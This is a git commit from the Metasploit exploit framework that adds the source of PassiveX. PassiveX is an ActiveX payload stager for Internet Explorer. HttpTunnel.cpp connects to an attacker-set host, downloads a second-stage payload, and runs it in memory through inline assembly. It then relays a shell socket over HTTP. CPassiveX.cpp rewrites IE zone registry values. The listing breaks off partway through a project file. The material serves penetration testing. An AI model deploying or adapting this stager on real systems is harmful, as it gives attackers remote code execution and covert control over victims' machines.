base import of px dll from 2.x

git-svn-id: file:///home/svn/incoming/trunk@3307 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Matt Miller 2006-01-05 02:41:40 +00:00
parent a77bdaa93c
commit b0cb5731f8
14 changed files with 1716 additions and 0 deletions

BIN
data/passivex/passivex.dll Executable file

Binary file not shown.

231
external/source/passivex/CPassiveX.cpp vendored Normal file
View File

@ -0,0 +1,231 @@
/*
* This file is part of the Metasploit Exploit Framework
* and is subject to the same licenses and copyrights as
* the rest of this package.
*/
#include "PassiveXLib.h"
#include "CPassiveX.h"
#ifdef PXDEBUG
static FILE *DebugFd = NULL;
#endif
CPassiveX::CPassiveX()
: PropHttpPort(0)
{
}
CPassiveX::~CPassiveX()
{
Tunnel.Stop();
#ifdef PXDEBUG
if (DebugFd)
fclose(
DebugFd);
#endif
}
STDMETHODIMP CPassiveX::InterfaceSupportsErrorInfo(REFIID riid)
{
if (::InlineIsEqualGUID(IID_IPassiveX, riid))
return S_OK;
return S_FALSE;
}
/**************
* Properties *
**************/
HRESULT CPassiveX::get_HttpHost(BSTR *Host)
{
*Host = PropHttpHost;
return S_OK;
}
HRESULT CPassiveX::put_HttpHost(BSTR Host)
{
PropHttpHost = Host;
return S_OK;
}
HRESULT CPassiveX::get_HttpPort(ULONG *Port)
{
*Port = PropHttpPort;
return S_OK;
}
HRESULT CPassiveX::put_HttpPort(ULONG Port)
{
PropHttpPort = Port;
return S_OK;
}
HRESULT CPassiveX::get_DownloadSecondStage(ULONG *Port)
{
return S_OK;
}
HRESULT CPassiveX::put_DownloadSecondStage(ULONG Port)
{
Initialize();
return S_OK;
}
#ifdef PXDEBUG
/*
* Logs a message to a file for debugging purposes
*/
VOID CPassiveX::Log(LPCTSTR fmt, ...)
{
// If we haven't opened the debug log yet...
if (!DebugFd)
{
TCHAR DebugFilePath[MAX_PATH];
ZeroMemory(
DebugFilePath,
sizeof(DebugFilePath));
ExpandEnvironmentStrings(
TEXT("%TEMP%\\PassiveX.log"),
DebugFilePath,
(sizeof(DebugFilePath) / sizeof(TCHAR)) - 1);
// Try to open the debug log file
DebugFd = fopen(
DebugFilePath,
"a");
}
// If we have a valid debug file descriptor...use it
if (DebugFd)
{
va_list Args;
va_start(
Args,
fmt);
#ifndef _UNICODE
vfprintf(
DebugFd,
fmt,
Args);
#else
// Lame...
{
USES_CONVERSION;
LPCSTR AsciiString = OLE2A(fmt);
vfprintf(
DebugFd,
AsciiString,
Args);
}
#endif
va_end(
Args);
fflush(
DebugFd);
}
}
#endif
/*********************
* Protected Methods *
*********************/
/*
* Restores internet explorer zone restrictions to defaults and creates the HTTP
* tunnel as necessary
*/
VOID CPassiveX::Initialize()
{
USES_CONVERSION;
// If the HTTP port is valid, start the HTTP tunnel
if ((PropHttpHost) &&
(PropHttpPort))
{
Tunnel.Start(
OLE2A(PropHttpHost),
(USHORT)PropHttpPort);
}
// Reset zone restrictions back to default
ResetExplorerZoneRestrictions();
}
/*
* Resets the internet explorer zone restrictions back to their defaults such
* that people aren't left vulnerable
*/
VOID CPassiveX::ResetExplorerZoneRestrictions()
{
ULONG Value;
HKEY InternetZoneKey = NULL;
// Open the internet zone
if (RegOpenKeyEx(
HKEY_CURRENT_USER,
TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3"),
0,
KEY_WRITE,
&InternetZoneKey) == ERROR_SUCCESS)
{
// Download unsigned ActiveX controls
Value = 3; // Disabled
RegSetValueEx(
InternetZoneKey,
TEXT("1004"),
0,
REG_DWORD,
(LPBYTE)&Value,
sizeof(Value));
RegSetValueEx(
InternetZoneKey,
TEXT("1201"),
0,
REG_DWORD,
(LPBYTE)&Value,
sizeof(Value));
// Download signed ActiveX controls
Value = 1; // Prompt
RegSetValueEx(
InternetZoneKey,
TEXT("1001"),
0,
REG_DWORD,
(LPBYTE)&Value,
sizeof(Value));
// Run ActiveX controls and plugins
Value = 0; // Enabled
RegSetValueEx(
InternetZoneKey,
TEXT("1200"),
0,
REG_DWORD,
(LPBYTE)&Value,
sizeof(Value));
// Initialize and script ActiveX controls not marked as safe
RegCloseKey(
InternetZoneKey);
}
}

114
external/source/passivex/CPassiveX.h vendored Normal file
View File

@ -0,0 +1,114 @@
/*
* This file is part of the Metasploit Exploit Framework
* and is subject to the same licenses and copyrights as
* the rest of this package.
*/
#ifndef _CPASSIVEX_H
#define _CPASSIVEX_H
#include <windows.h>
#include <atlbase.h>
extern CComModule _Module;
#include <atlcom.h>
#include <ocidl.h>
#include "HttpTunnel.h"
class ATL_NO_VTABLE CPassiveX :
public CComObjectRootEx<CComMultiThreadModel>,
public CComCoClass<CPassiveX, &CLSID_PassiveX>,
public CComControl<CPassiveX>,
public IOleObjectImpl<CPassiveX>,
public IOleControlImpl<CPassiveX>,
public IOleInPlaceActiveObjectImpl<CPassiveX>,
public IOleInPlaceObjectWindowlessImpl<CPassiveX>,
public IObjectWithSiteImpl<CPassiveX>,
public IProvideClassInfo2Impl<&CLSID_PassiveX, &DIID_PassiveXEvents, &LIBID_PassiveXCOM>,
public IConnectionPointContainerImpl<CPassiveX>,
public IDispatchImpl<IPassiveX, &IID_IPassiveX, &LIBID_PassiveXCOM>,
public IConnectionPointImpl<CPassiveX, &DIID_PassiveXEvents, CComDynamicUnkArray>,
public IPersistPropertyBagImpl<CPassiveX>,
public ISupportErrorInfo
{ public:
CPassiveX();
~CPassiveX();
DECLARE_REGISTRY_RESOURCEID(IDR_PASSIVEX)
DECLARE_PROTECT_FINAL_CONSTRUCT()
BEGIN_COM_MAP(CPassiveX)
COM_INTERFACE_ENTRY(IPassiveX)
COM_INTERFACE_ENTRY(IDispatch)
COM_INTERFACE_ENTRY(ISupportErrorInfo)
COM_INTERFACE_ENTRY(IProvideClassInfo)
COM_INTERFACE_ENTRY(IProvideClassInfo2)
COM_INTERFACE_ENTRY(IObjectWithSite)
COM_INTERFACE_ENTRY(IOleInPlaceObjectWindowless)
COM_INTERFACE_ENTRY(IOleInPlaceObject)
COM_INTERFACE_ENTRY2(IOleWindow, IOleInPlaceObject)
COM_INTERFACE_ENTRY(IOleInPlaceActiveObject)
COM_INTERFACE_ENTRY(IOleControl)
COM_INTERFACE_ENTRY(IOleObject)
COM_INTERFACE_ENTRY(IPersistPropertyBag)
COM_INTERFACE_ENTRY(IConnectionPointContainer)
COM_INTERFACE_ENTRY_IMPL(IConnectionPointContainer)
END_COM_MAP()
// We are a singleton
DECLARE_CLASSFACTORY_SINGLETON(CPassiveX);
// Messages
BEGIN_MSG_MAP(CPassiveX)
CHAIN_MSG_MAP(CComControl<CPassiveX>)
DEFAULT_REFLECTION_HANDLER()
END_MSG_MAP()
// Connections
BEGIN_CONNECTION_POINT_MAP(CPassiveX)
CONNECTION_POINT_ENTRY(DIID_PassiveXEvents)
END_CONNECTION_POINT_MAP()
// Properties
BEGIN_PROPERTY_MAP(CPassiveX)
PROP_ENTRY("HttpHost", PASSIVEX_PROPERTY_HTTP_HOST, CLSID_NULL)
PROP_ENTRY("HttpPort", PASSIVEX_PROPERTY_HTTP_PORT, CLSID_NULL)
PROP_ENTRY("DownloadSecondStage", PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE, CLSID_NULL)
END_PROPERTY_MAP()
// ISupportErrorInfo
STDMETHOD(InterfaceSupportsErrorInfo)(REFIID riid);
// IPassiveX
STDMETHOD(get_HttpHost)(BSTR *Host);
STDMETHOD(put_HttpHost)(BSTR Host);
STDMETHOD(get_HttpPort)(ULONG *Port);
STDMETHOD(put_HttpPort)(ULONG Port);
STDMETHOD(get_DownloadSecondStage)(ULONG *Port);
STDMETHOD(put_DownloadSecondStage)(ULONG Port);
#ifdef PXDEBUG
// Debug logging
static VOID Log(LPCTSTR fmt, ...);
#else
static VOID Log(LPCTSTR fmt, ...) { }
#endif
protected:
VOID Initialize();
VOID ResetExplorerZoneRestrictions();
/**************
* Attributes *
**************/
// Properties
CComBSTR PropHttpHost;
ULONG PropHttpPort;
// Tunnel
HttpTunnel Tunnel;
};
#endif

774
external/source/passivex/HttpTunnel.cpp vendored Normal file
View File

@ -0,0 +1,774 @@
/*
* This file is part of the Metasploit Exploit Framework
* and is subject to the same licenses and copyrights as
* the rest of this package.
*/
#include "PassiveXLib.h"
#include "HttpTunnel.h"
// The number of failed HTTP connections
static DWORD FailedConnections = 0;
HttpTunnel::HttpTunnel()
: HttpHost(NULL),
HttpPort(0),
LocalTcpListener(0),
LocalTcpClientSide(0),
LocalTcpServerSide(0),
InternetHandle(NULL),
SendThread(NULL),
ReceiveThread(NULL),
SecondStageThread(NULL),
SecondStage(NULL),
SecondStageSize(0)
{
// Initialize winsock, not that we should need to.
WSAStartup(
MAKEWORD(2, 2),
&WsaData);
srand(time(NULL));
}
HttpTunnel::~HttpTunnel()
{
Stop();
// Cleanup winsock
WSACleanup();
}
/*
* Initiates the HTTP tunnel and gets the ball rolling
*/
DWORD HttpTunnel::Start(
IN LPSTR InHttpHost,
IN USHORT InHttpPort)
{
DWORD ThreadId;
DWORD Result = ERROR_SUCCESS;
do
{
// Initialize the hostname and port
if (!(HttpHost = strdup(InHttpHost)))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
HttpPort = InHttpPort;
// Acquire the internet context handle
if (!(InternetHandle = InternetOpen(
NULL,
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
NULL,
0)))
{
Result = GetLastError();
break;
}
// Create the local TCP abstraction
if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS)
{
CPassiveX::Log(
TEXT("Start(): InitializeLocalConnection failed, %lu.\n"),
Result);
break;
}
// Download the second stage if there is one
DownloadSecondStage();
// Create the transmission thread
if (!(SendThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)SendThreadFuncSt,
this,
0,
&ThreadId)))
{
Result = GetLastError();
break;
}
// Create the receive thread
if (!(ReceiveThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt,
this,
0,
&ThreadId)))
{
Result = GetLastError();
break;
}
// Woop
Result = ERROR_SUCCESS;
} while (0);
return Result;
}
/*
* Stops the HTTP tunnel and cleans up resources
*/
DWORD HttpTunnel::Stop()
{
DWORD Result = ERROR_SUCCESS;
DWORD Index = 0;
LPHANDLE Threads[] =
{
&SecondStageThread,
&ReceiveThread,
&SendThread,
NULL
};
// Terminate the threads that were spawned
for (Index = 0;
Threads[Index];
Index++)
{
LPHANDLE Thread = Threads[Index];
if (*Thread)
{
TerminateThread(
*Thread,
0);
CloseHandle(
*Thread);
*Thread = NULL;
}
}
// Close all of the open sockets we may have
if (LocalTcpListener)
closesocket(
LocalTcpListener);
if (LocalTcpClientSide)
closesocket(
LocalTcpClientSide);
if (LocalTcpServerSide)
closesocket(
LocalTcpServerSide);
LocalTcpListener = 0;
LocalTcpClientSide = 0;
LocalTcpServerSide = 0;
// Free up memory associated with the second stage
if (SecondStage)
{
free(
SecondStage);
SecondStage = NULL;
SecondStageSize = 0;
}
// Close the global internet handle acquired from InternetOpen
if (InternetHandle)
{
InternetCloseHandle(
InternetHandle);
InternetHandle = NULL;
}
return Result;
}
/*********************
* Protected Methods *
*********************/
/*
* Creates the local TCP abstraction that will be used as the socket for the
* second stage that is read in
*/
DWORD HttpTunnel::InitializeLocalConnection()
{
struct sockaddr_in Sin;
USHORT LocalPort = 0;
DWORD Attempts = 0;
DWORD Result = ERROR_SUCCESS;
do
{
// Create the TCP listener socket
if ((LocalTcpListener = socket(
AF_INET,
SOCK_STREAM,
IPPROTO_TCP)) == INVALID_SOCKET)
{
LocalTcpListener = 0;
Result = WSAGetLastError();
break;
}
// Create the TCP client socket
if ((LocalTcpClientSide = socket(
AF_INET,
SOCK_STREAM,
IPPROTO_TCP)) == INVALID_SOCKET)
{
LocalTcpClientSide = 0;
Result = WSAGetLastError();
break;
}
Sin.sin_family = AF_INET;
Sin.sin_addr.s_addr = inet_addr("127.0.0.1");
// Try 256 times to pick a random port
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
while ((bind(
LocalTcpListener,
(struct sockaddr *)&Sin,
sizeof(Sin)) == SOCKET_ERROR) &&
(Attempts++ < 256))
{
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
}
// If we failed to create the local listener, bomb out
if (Attempts >= 256)
{
Result = WSAGetLastError();
break;
}
// Listen and stuff
if (listen(
LocalTcpListener,
1) == SOCKET_ERROR)
{
Result = WSAGetLastError();
break;
}
// Establish a connection to the local listener
if (connect(
LocalTcpClientSide,
(struct sockaddr *)&Sin,
sizeof(Sin)) == SOCKET_ERROR)
{
Result = WSAGetLastError();
break;
}
// Accept the local TCP connection
if ((LocalTcpServerSide = accept(
LocalTcpListener,
NULL,
NULL)) == SOCKET_ERROR)
{
LocalTcpServerSide = 0;
Result = WSAGetLastError();
break;
}
// Woop!
Result = ERROR_SUCCESS;
} while (0);
return Result;
}
/*
* Downloads the second stage payload from the remote HTTP host and executes it
* in its own thread if there is one
*/
VOID HttpTunnel::DownloadSecondStage()
{
// Transmit the request to download the second stage. The stage buffer that
// is passed back is never deallocated.
if ((TransmitHttpRequest(
TEXT("GET"),
PASSIVEX_URI_SECOND_STAGE,
NULL,
0,
30000,
NULL,
(PVOID *)&SecondStage,
&SecondStageSize) == ERROR_SUCCESS) &&
(SecondStageSize))
{
DWORD ThreadId = 0;
CPassiveX::Log(
TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"),
SecondStageSize);
// Create the second stage thread
SecondStageThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)SecondStageThreadFuncSt,
this,
0,
&ThreadId);
}
else
{
CPassiveX::Log(
TEXT("DownloadSecondStage(): Failed to download second stage, %lu."),
GetLastError());
ExitProcess(0);
}
}
/*
* Transmits the supplied data to the remote HTTP host
*/
DWORD HttpTunnel::TransmitToRemote(
IN PUCHAR Buffer,
IN ULONG BufferSize)
{
CPassiveX::Log(
TEXT("TransmitToRemote(): Transmitting %lu bytes of data to the remote side of the TCP abstraction.\n"),
BufferSize);
return TransmitHttpRequest(
"POST",
PASSIVEX_URI_TUNNEL_IN,
Buffer,
BufferSize);
}
/*
* Transmits the supplied data to the server side of the local TCP abstraction
*/
DWORD HttpTunnel::TransmitToLocal(
IN PUCHAR Buffer,
IN ULONG BufferSize)
{
DWORD Result = ERROR_SUCCESS;
INT BytesWritten = 0;
// Keep writing until everything has been written
while (BufferSize > 0)
{
CPassiveX::Log(
TEXT("TransmitToLocal(): Transmitting %lu bytes of data to the local side of the TCP abstraction.\n"),
BufferSize);
if ((BytesWritten = send(
LocalTcpServerSide,
(const char *)Buffer,
BufferSize,
0)) == SOCKET_ERROR)
{
Result = WSAGetLastError();
break;
}
Buffer += BytesWritten;
BufferSize -= BytesWritten;
}
return Result;
}
/*
* Transmits an HTTP request to the target host, optionally waiting for a
* response
*/
DWORD HttpTunnel::TransmitHttpRequest(
IN LPTSTR Method,
IN LPTSTR Uri,
IN PVOID RequestPayload,
IN ULONG RequestPayloadLength,
IN ULONG WaitResponseTimeout,
OUT LPDWORD ResponseCode,
OUT PVOID *ResponsePayload,
OUT LPDWORD ResponsePayloadLength)
{
HINTERNET RequestHandle = NULL;
HINTERNET ConnectHandle = NULL;
PUCHAR OutBuffer = NULL;
DWORD OutBufferLength = 0;
UCHAR ReadBuffer[8192];
DWORD ReadBufferLength;
DWORD Result = ERROR_SUCCESS;
do
{
PROFILE_CHECKPOINT("InternetConnect ==>");
// Open a connection handle
if (!(ConnectHandle = InternetConnect(
InternetHandle,
HttpHost,
HttpPort,
NULL,
NULL,
INTERNET_SERVICE_HTTP,
0,
NULL)))
{
Result = GetLastError();
break;
}
PROFILE_CHECKPOINT("InternetConnect <==");
// If we were supplied a wait response timeout, set it
if (WaitResponseTimeout)
InternetSetOption(
ConnectHandle,
INTERNET_OPTION_RECEIVE_TIMEOUT,
&WaitResponseTimeout,
sizeof(WaitResponseTimeout));
PROFILE_CHECKPOINT("HttpOpenRequest ==>");
// Open a request handle
if (!(RequestHandle = HttpOpenRequest(
ConnectHandle,
Method ? Method : TEXT("GET"),
Uri,
NULL,
NULL,
NULL,
INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |
INTERNET_FLAG_RELOAD,
NULL)))
{
Result = GetLastError();
break;
}
PROFILE_CHECKPOINT("HttpOpenRequest <==");
PROFILE_CHECKPOINT("HttpSendRequest ==>");
// Send and endthe request
if ((!HttpSendRequest(
RequestHandle,
NULL,
0,
RequestPayload,
RequestPayloadLength)))
{
Result = GetLastError();
break;
}
PROFILE_CHECKPOINT("HttpSendRequest <==");
// If we wont be waiting for a response, break out now and return
if (!WaitResponseTimeout)
{
Result = ERROR_SUCCESS;
break;
}
// Keep looping until we've read the entire request or an error is
// encountered
while (1)
{
PUCHAR NewBuffer;
ReadBufferLength = sizeof(ReadBuffer);
PROFILE_CHECKPOINT("InternetReadFile ==>");
if (!InternetReadFile(
RequestHandle,
ReadBuffer,
ReadBufferLength,
&ReadBufferLength))
{
Result = GetLastError();
break;
}
else if (!ReadBufferLength)
{
Result = ERROR_SUCCESS;
break;
}
PROFILE_CHECKPOINT("InternetReadFile <==");
// Append the buffer to the output buffer
if (!OutBuffer)
NewBuffer = (PUCHAR)malloc(
ReadBufferLength);
else
NewBuffer = (PUCHAR)realloc(
OutBuffer,
OutBufferLength + ReadBufferLength);
if (!NewBuffer)
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memcpy(
NewBuffer + OutBufferLength,
ReadBuffer,
ReadBufferLength);
OutBuffer = NewBuffer;
OutBufferLength += ReadBufferLength;
}
// Query the status code of the response
if (ResponseCode)
{
DWORD ResponseCodeSize = sizeof(DWORD);
if (!HttpQueryInfo(
RequestHandle,
HTTP_QUERY_STATUS_CODE,
ResponseCode,
&ResponseCodeSize,
NULL))
{
CPassiveX::Log(
TEXT("HttpQueryInfo failed, %lu."),
GetLastError());
*ResponseCode = 0;
}
}
} while (0);
PROFILE_CHECKPOINT("Finished TransmitHttpRequest");
// Close handles
if (RequestHandle)
InternetCloseHandle(
RequestHandle);
if (ConnectHandle)
InternetCloseHandle(
ConnectHandle);
// Set the output pointers or free up the output buffer
if (Result == ERROR_SUCCESS)
{
if (ResponsePayload)
*ResponsePayload = OutBuffer;
if (ResponsePayloadLength)
*ResponsePayloadLength = OutBufferLength;
FailedConnections = 0;
}
else
{
// If we fail to connect...
if (Result == ERROR_INTERNET_CANNOT_CONNECT)
{
FailedConnections++;
if (FailedConnections > 10)
{
CPassiveX::Log("TransmitHttpRequest(): Failed to connect to HTTP server (%lu), exiting.",
FailedConnections);
ExitProcess(0);
}
}
if (OutBuffer)
free(
OutBuffer);
}
return Result;
}
/*
* Method wrapper
*/
ULONG HttpTunnel::SendThreadFuncSt(
IN HttpTunnel *Tunnel)
{
return Tunnel->SendThreadFunc();
}
/*
* Monitors the server side of the local TCP abstraction for data that can be
* transmitted to the remote half of the pipe
*/
ULONG HttpTunnel::SendThreadFunc()
{
fd_set FdSet;
UCHAR ReadBuffer[16384];
LONG BytesRead;
INT Result;
// This is the song that never ends...
while (1)
{
FD_ZERO(
&FdSet);
FD_SET(
LocalTcpServerSide,
&FdSet);
PROFILE_CHECKPOINT("select ==>");
// Wait for some data...
Result = select(
LocalTcpServerSide + 1,
&FdSet,
NULL,
NULL,
NULL);
PROFILE_CHECKPOINT("select <==");
// If select failed or there was no new data, act accordingly else risk
// the fist of the evil witch
if (Result < 0)
{
CPassiveX::Log(
TEXT("SendThreadFunc(): TUNNEL_IN: Select failed, %lu.\n"),
WSAGetLastError());
break;
}
else if (Result == 0)
continue;
PROFILE_CHECKPOINT("recv ==>");
// Read in data from the local server side of the TCP connection
BytesRead = recv(
LocalTcpServerSide,
(char *)ReadBuffer,
sizeof(ReadBuffer),
0);
PROFILE_CHECKPOINT("recv <==");
// On error or end of file...
if (BytesRead <= 0)
{
CPassiveX::Log(
TEXT("SendThreadFunc(): TUNNEL_IN: Read 0 or fewer bytes, erroring out (%lu).\n"),
BytesRead);
break;
}
CPassiveX::Log(
TEXT("SendThreadFunc(): TUNNEL_IN: Transmitting %lu bytes of data to remote side.\n"),
BytesRead);
PROFILE_CHECKPOINT("TransmitToRemote ==>");
// Transmit the data to the remote side
if ((Result = TransmitToRemote(
ReadBuffer,
BytesRead)) != ERROR_SUCCESS)
{
CPassiveX::Log(
TEXT("SendThreadFunc(): TUNNEL_IN: TransmitToRemote failed, %lu.\n"),
Result);
}
PROFILE_CHECKPOINT("TransmitToRemote <==");
}
// Exit the process if the send thread ends
ExitProcess(0);
return 0;
}
/*
* Method wrapper
*/
ULONG HttpTunnel::ReceiveThreadFuncSt(
IN HttpTunnel *Tunnel)
{
return Tunnel->ReceiveThreadFunc();
}
/*
* Polls for data that should be sent to the local server side of the TCP
* abstraction
*/
ULONG HttpTunnel::ReceiveThreadFunc()
{
PUCHAR ReadBuffer = NULL;
DWORD ReadBufferLength = 0;
DWORD ResponseCode = 0;
while (1)
{
ReadBufferLength = 0;
ReadBuffer = NULL;
ResponseCode = 0;
if ((TransmitHttpRequest(
TEXT("GET"),
PASSIVEX_URI_TUNNEL_OUT,
NULL,
0,
30000,
&ResponseCode,
(PVOID *)&ReadBuffer,
&ReadBufferLength) == ERROR_SUCCESS) &&
(ReadBuffer))
{
CPassiveX::Log(
TEXT("ReceiveThreadFunc(): TUNNEL_OUT: Received response code %lu, buffer length %lu.\n"),
ResponseCode,
ReadBufferLength);
TransmitToLocal(
ReadBuffer,
ReadBufferLength);
free(
ReadBuffer);
}
else
{
CPassiveX::Log(
TEXT("ReceiveThreadFunc(): TUNNEL_OUT: TransmitHttpRequest failed, %lu.\n"),
GetLastError());
}
}
return 0;
}
/*
* Calls the second stage after initializing the proper registers
*/
ULONG HttpTunnel::SecondStageThreadFuncSt(
IN HttpTunnel *Tunnel)
{
SOCKET Fd = Tunnel->LocalTcpClientSide;
// Initialize edi to the file descriptor that the second stage might use
__asm
{
lea eax, [Fd]
mov edi, [eax]
}
((VOID (*)())Tunnel->SecondStage)();
return 0;
}

95
external/source/passivex/HttpTunnel.h vendored Normal file
View File

@ -0,0 +1,95 @@
/*
* This file is part of the Metasploit Exploit Framework
* and is subject to the same licenses and copyrights as
* the rest of this package.
*/
#ifndef _PASSIVEX_HTTPTUNNEL_H
#define _PASSIVEX_HTTPTUNNEL_H
#define PASSIVEX_URI_SECOND_STAGE TEXT("/stage")
#define PASSIVEX_URI_TUNNEL_IN TEXT("/tunnel_in")
#define PASSIVEX_URI_TUNNEL_OUT TEXT("/tunnel_out")
#define PROFILE_CHECKPOINT(x) \
CPassiveX::Log("%s:%d:%lu: %s\n", __FILE__, __LINE__, GetTickCount(), x)
/*
* This class is responsible for managing the HTTP tunnel between a target host
* and the local machine.
*/
class HttpTunnel
{
public:
HttpTunnel();
~HttpTunnel();
// Initialization
DWORD Start(
IN LPSTR HttpHost,
IN USHORT HttpPort);
DWORD Stop();
protected:
// Internal Initialization
DWORD InitializeLocalConnection();
// Second stage loader
VOID DownloadSecondStage();
// Data transmission
DWORD TransmitToRemote(
IN PUCHAR Buffer,
IN ULONG BufferSize);
DWORD TransmitToLocal(
IN PUCHAR Buffer,
IN ULONG BufferSize);
DWORD TransmitHttpRequest(
IN LPTSTR Method,
IN LPTSTR Uri,
IN PVOID RequestPayload = NULL,
IN ULONG RequestPayloadLength = 0,
IN ULONG WaitResponseTimeout = 0,
OUT LPDWORD ResponseCode = NULL,
OUT PVOID *ResponsePayload = NULL,
OUT LPDWORD ResponsePayloadLength = NULL);
// Thread functions
static ULONG SendThreadFuncSt(
IN HttpTunnel *Tunnel);
ULONG SendThreadFunc();
static ULONG ReceiveThreadFuncSt(
IN HttpTunnel *Tunnel);
ULONG ReceiveThreadFunc();
static ULONG SecondStageThreadFuncSt(
IN HttpTunnel *Tunnel);
/**************
* Attributes *
**************/
// Remote host information
LPSTR HttpHost;
USHORT HttpPort;
// Sockets
WSADATA WsaData;
SOCKET LocalTcpListener;
SOCKET LocalTcpClientSide;
SOCKET LocalTcpServerSide;
// Internet context
HINTERNET InternetHandle;
// Stage attributes
PUCHAR SecondStage;
DWORD SecondStageSize;
// Threads
HANDLE SendThread;
HANDLE ReceiveThread;
HANDLE SecondStageThread;
};
#endif

26
external/source/passivex/PassiveX.bin vendored Executable file
View File

@ -0,0 +1,26 @@
HKCR
{
PassiveX.PassiveX.1 = s 'PassiveX Class'
{
CLSID = s '{B3AC7307-FEAE-4e43-B2D6-161E68ABA838}'
}
PassiveX.PassiveX = s 'PassiveX Class'
{
CLSID = s '{B3AC7307-FEAE-4e43-B2D6-161E68ABA838}'
CurVer = s 'PassiveX.PassiveX.1'
}
NoRemove CLSID
{
ForceRemove {B3AC7307-FEAE-4e43-B2D6-161E68ABA838} = s 'PassiveX Class'
{
ProgID = s 'PassiveX.PassiveX.1'
VersionIndependentProgID = s 'PassiveX.PassiveX'
ForceRemove 'Programmable'
InprocServer32 = s '%MODULE%'
{
val ThreadingModel = s 'Apartment'
}
'TypeLib' = s '{CA8B739E-450C-47bb-A557-3579A633BB5D}'
}
}
}

46
external/source/passivex/PassiveX.cpp vendored Normal file
View File

@ -0,0 +1,46 @@
#include "PassiveXLib.h"
#include <objbase.h>
#include <initguid.h>
#include "PassiveX_i.c"
#include "CPassiveX.h"
CComModule _Module;
BEGIN_OBJECT_MAP(ObjectMap)
OBJECT_ENTRY(CLSID_PassiveX, CPassiveX)
END_OBJECT_MAP()
extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
_Module.Init(ObjectMap, hInstance, &LIBID_PassiveXCOM);
DisableThreadLibraryCalls(hInstance);
}
else if (dwReason == DLL_PROCESS_DETACH)
_Module.Term();
return TRUE;
}
STDAPI DllCanUnloadNow(void)
{
return (_Module.GetLockCount()==0) ? S_OK : S_FALSE;
}
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
return _Module.GetClassObject(rclsid, riid, ppv);
}
STDAPI DllRegisterServer(void)
{
return _Module.RegisterServer(TRUE);
}
STDAPI DllUnregisterServer(void)
{
return _Module.UnregisterServer(TRUE);
}

57
external/source/passivex/PassiveX.idl vendored Normal file
View File

@ -0,0 +1,57 @@
import "oaidl.idl";
import "ocidl.idl";
enum PassiveXProperties
{
PASSIVEX_PROPERTY_HTTP_HOST = 1,
PASSIVEX_PROPERTY_HTTP_PORT = 2,
PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE = 3,
};
[
object,
uuid(1940F02F-41B0-4d92-BE34-DA55D151893A),
helpstring("IPassiveX"),
pointer_default(unique),
dual
]
interface IPassiveX : IDispatch
{
[propput, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([in] BSTR host);
[propget, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([out, retval] BSTR *host);
[propput, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([in] ULONG port);
[propget, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([out, retval] ULONG *port);
[propput, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([in] ULONG na);
[propget, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([out, retval] ULONG *na);
};
[
uuid(CA8B739E-450C-47bb-A557-3579A633BB5D),
version(1.0),
helpstring("PassiveX Type Library")
]
library PassiveXCOM
{
importlib("stdole32.tlb");
importlib("stdole2.tlb");
[
uuid(9A427004-996C-4d39-BF55-F7EBE0EC6249),
helpstring("PassiveX Event Interface")
]
dispinterface PassiveXEvents
{
properties:
methods:
};
[
uuid(B3AC7307-FEAE-4e43-B2D6-161E68ABA838),
helpstring("PassiveX Implementation Class")
]
coclass PassiveX
{
[default] interface IPassiveX;
[default, source] dispinterface PassiveXEvents;
};
};

30
external/source/passivex/PassiveXLib.h vendored Normal file
View File

@ -0,0 +1,30 @@
/*
* This file is part of the Metasploit Exploit Framework
* and is subject to the same licenses and copyrights as
* the rest of this package.
*/
#ifndef _PASSIVEXLIB_H
#define _PASSIVEXLIB_H
#define _WIN32_WINNT 0x0400
#define _ATL_APARTMENT_THREADED
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#include <time.h>
#include <atlbase.h>
extern CComModule _Module;
#include <atlcom.h>
#include <atlctl.h>
#include "resource.h"
#include "PassiveX.h"
#include "CPassiveX.h"
#endif

7
external/source/passivex/passivex.def vendored Normal file
View File

@ -0,0 +1,7 @@
LIBRARY "PASSIVEX.DLL"
EXPORTS
DllCanUnloadNow @1 PRIVATE
DllGetClassObject @2 PRIVATE
DllRegisterServer @3 PRIVATE
DllUnregisterServer @4 PRIVATE

168
external/source/passivex/passivex.dsp vendored Normal file
View File

@ -0,0 +1,168 @@
# Microsoft Developer Studio Project File - Name="passivex" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
CFG=passivex - Win32 Debug
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "passivex.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "passivex.mak" CFG="passivex - Win32 Debug"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
